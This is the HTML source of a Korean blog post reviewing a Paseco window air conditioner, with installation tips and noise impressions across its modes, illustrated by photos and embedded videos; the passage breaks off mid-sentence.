&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# Easy(?) 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확실히 설치 방법은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉽습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 2&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;0Kg의 무게는...&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운동의 필요성을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;느낄 수 있습니다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 설치 방법&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 방법은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설명서 대로 따라하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉽게 설치할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더군다나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;파세코 유튜브 채널&lt;/b&gt;&lt;/u&gt;에서도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동영상을 제공하고 있으니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고해서 설치하시면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;유튜브 채널&lt;/b&gt;: https://www.youtube.com/channel/UCaSGxavHJT9HV1ibLQMaIow&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- Tip 1: 틈 막기&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 틀을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;창문에 설치하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모퉁이 부분에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;틈이 생겨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부 공기가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;들어올 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJDafg/btrAQhmnwoG/FY16G6t08BeQpUwlKkhk51/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJDafg/btrAQhmnwoG/FY16G6t08BeQpUwlKkhk51/img.jpg&quot; data-alt=&quot;밤에 설치했더니 틈으로 빛이 샌다&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJDafg/btrAQhmnwoG/FY16G6t08BeQpUwlKkhk51/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJDafg%2FbtrAQhmnwoG%2FFY16G6t08BeQpUwlKkhk51%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;667&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;밤에 설치했더니 틈으로 빛이 샌다&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잘 확인해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공기가 새지 않도록&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;차단해 주셔야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 휴지와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테이프로 틈을 막았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kOEuH/btrAR9AEPCL/5xm542vnNKz4OSjddr45m0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kOEuH/btrAR9AEPCL/5xm542vnNKz4OSjddr45m0/img.jpg&quot; data-alt=&quot;이제 이 창문은...움직일 수 없어...&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kOEuH/btrAR9AEPCL/5xm542vnNKz4OSjddr45m0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkOEuH%2FbtrAR9AEPCL%2F5xm542vnNKz4OSjddr45m0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;667&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;이제 이 창문은...움직일 수 없어...&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- Tip 2: 에어컨 설치&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 20kg을 창문 높이로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;드는 건 위험한 일이기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(아 물론 제품한테 위험한 일...)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중간 높이의 의자 등을 둬서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉬었다가 올리는 게 좋습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아랫 부분을 잘 맞춰서 설치하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윗 부분을 딸깍 소리가 날 때까지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;밀면 고정이 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;고정이 되면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;빨간색 볼트로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조여주면 설치가 끝납니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;1440&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/J8Zpk/btrAQgtPt8Y/YLFxzguKXl6fn1woXp3F6K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/J8Zpk/btrAQgtPt8Y/YLFxzguKXl6fn1woXp3F6K/img.jpg&quot; data-alt=&quot;빨간색이 포인트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/J8Zpk/btrAQgtPt8Y/YLFxzguKXl6fn1woXp3F6K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJ8Zpk%2FbtrAQgtPt8Y%2FYLFxzguKXl6fn1woXp3F6K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;375&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;1440&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;빨간색이 포인트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;# 빠질 수 없는 소음&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 산 창문형 에어컨이라&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소음이 걱정됐는 데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;의외로?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;일반 에어컨 작동하는&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(에어컨 팬 돌아가는)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;정도의 소음&lt;/b&gt;&lt;/u&gt;이었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업그레이드 했다더니...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 지금 이정도면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 제품들은 도대체...;;;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 취침 모드(야간 모드)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취침 모드일 때의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소음 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조용하지는 않지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조용한(?) 편입니다.&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;kakaotv&quot; data-video-url=&quot;https://tv.kakao.com/v/428360381&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/bI44dh/hyOdDnxvKb/XrsqeWKiovKpI0ZisGV0gk/img.jpg?width=720&amp;amp;height=1280&amp;amp;face=0_0_720_1280,https://scrap.kakaocdn.net/dn/Tdq5c/hyOczAizks/UBVBWAIcgKTVXy8vYvkAg0/img.jpg?width=720&amp;amp;height=1280&amp;amp;face=0_0_720_1280&quot; data-video-width=&quot;500&quot; data-video-height=&quot;889&quot; data-video-origin-width=&quot;720&quot; data-video-origin-height=&quot;1280&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-play-service=&quot;daum_tistory&quot;&gt;&lt;iframe src=&quot;https://play-tv.kakao.com/embed/player/cliplink/428360381?service=daum_tistory&quot; width=&quot;500&quot; height=&quot;889&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption&gt;취침 모드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저한테는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;에어컨 틀어놓고&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;그 앞에서 &lt;/b&gt;&lt;/u&gt;&lt;u&gt;&lt;b&gt;자는 정도의&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;소음&lt;/b&gt;&lt;/u&gt;이었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(촬영을 그 앞에서 했으니...)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 냉방 1단&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;냉방 모드 1단의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소음 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;kakaotv&quot; data-video-url=&quot;https://tv.kakao.com/v/428360454&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/bb2Gaw/hyOdxARCX0/aKcK24yC0KtKHdrFnAgiNk/img.jpg?width=720&amp;amp;height=1280&amp;amp;face=0_0_720_1280,https://scrap.kakaocdn.net/dn/ggNfx/hyOcsnDtfH/ad81WKeoX4klCuXy6TqvzK/img.jpg?width=720&amp;amp;height=1280&amp;amp;face=0_0_720_1280&quot; data-video-width=&quot;500&quot; data-video-height=&quot;889&quot; data-video-origin-width=&quot;720&quot; data-video-origin-height=&quot;1280&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-play-service=&quot;daum_tistory&quot;&gt;&lt;iframe src=&quot;https://play-tv.kakao.com/embed/player/cliplink/428360454?service=daum_tistory&quot; width=&quot;500&quot; height=&quot;889&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption&gt;냉방 1단&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기도 뭐...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제가 둔감해서 그런걸 지도...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 냉방 5단(이건 쫌...)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;냉방 5단의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소음 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;kakaotv&quot; data-video-url=&quot;https://tv.kakao.com/v/428360493&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/b4c0Lm/hyOcBESnxu/pkHyAdwvpOVmxr5cemPRgk/img.jpg?width=720&amp;amp;height=1280&amp;amp;face=0_0_720_1280,https://scrap.kakaocdn.net/dn/dsW3nZ/hyOcrvtogt/Don0Nh7W1TZa9KqyZv2XW1/img.jpg?width=720&amp;amp;height=1280&amp;amp;face=0_0_720_1280&quot; data-video-width=&quot;500&quot; data-video-height=&quot;889&quot; data-video-origin-width=&quot;720&quot; data-video-origin-height=&quot;1280&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-play-service=&quot;daum_tistory&quot;&gt;&lt;iframe src=&quot;https://play-tv.kakao.com/embed/player/cliplink/428360493?service=daum_tistory&quot; width=&quot;500&quot; height=&quot;889&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption&gt;냉방 5단&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 5단으로 틀 생각이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전혀 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞으로도 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;없을 겁니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;없을 겁니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전 3단으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만족합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3단이면 취침도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가능할 거 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(진짜 잘 때 둔해서...)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 동굴풍?&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;풍량이 쎄게 나왔다가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주변의 온습도를 감지해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동굴의 상태로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자동 조절되는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동굴풍 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;kakaotv&quot; data-video-url=&quot;https://tv.kakao.com/v/428360527&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/bhg1uI/hyOcxvGIax/akMZo9b1yOQv2QaH60sR00/img.jpg?width=720&amp;amp;height=1280&amp;amp;face=0_0_720_1280,https://scrap.kakaocdn.net/dn/hCDjM/hyOcxoU7uf/3RHKq76emeWzcxSuw6slRK/img.jpg?width=720&amp;amp;height=1280&amp;amp;face=0_0_720_1280&quot; data-video-width=&quot;500&quot; data-video-height=&quot;889&quot; data-video-origin-width=&quot;720&quot; data-video-origin-height=&quot;1280&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-play-service=&quot;daum_tistory&quot;&gt;&lt;iframe src=&quot;https://play-tv.kakao.com/embed/player/cliplink/428360527?service=daum_tistory&quot; width=&quot;500&quot; height=&quot;889&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption&gt;동굴풍&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에..뭐...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;선풍기도 그렇고...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공기청정기도 그렇고...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 기능 쓰질 않아서...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 대망의 터보&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터보 기능입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쓸 생각&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;없을 겁니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;없을 겁니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;kakaotv&quot; data-video-url=&quot;https://tv.kakao.com/v/428360557&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/bFVqSV/hyOczUBAM1/HiAIYjh8hGn2TbRCifmK6k/img.jpg?width=720&amp;amp;height=1280&amp;amp;face=0_0_720_1280,https://scrap.kakaocdn.net/dn/xwdqE/hyOcuFJXSy/GOGNflkA42kSeb3VFpKO91/img.jpg?width=720&amp;amp;height=1280&amp;amp;face=0_0_720_1280&quot; data-video-width=&quot;500&quot; data-video-height=&quot;889&quot; data-video-origin-width=&quot;720&quot; data-video-origin-height=&quot;1280&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-play-service=&quot;daum_tistory&quot;&gt;&lt;iframe src=&quot;https://play-tv.kakao.com/embed/player/cliplink/428360557?service=daum_tistory&quot; width=&quot;500&quot; height=&quot;889&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption&gt;터보...!!! PWA-3400W 항공기 이륙합니다...!!!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진짜로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팬도 미친 듯이 돌아가서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팬 소리 외에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이륙하는 소리가 납니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레이싱 카 엔진이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예열부터 시작해서&lt;/p&gt;
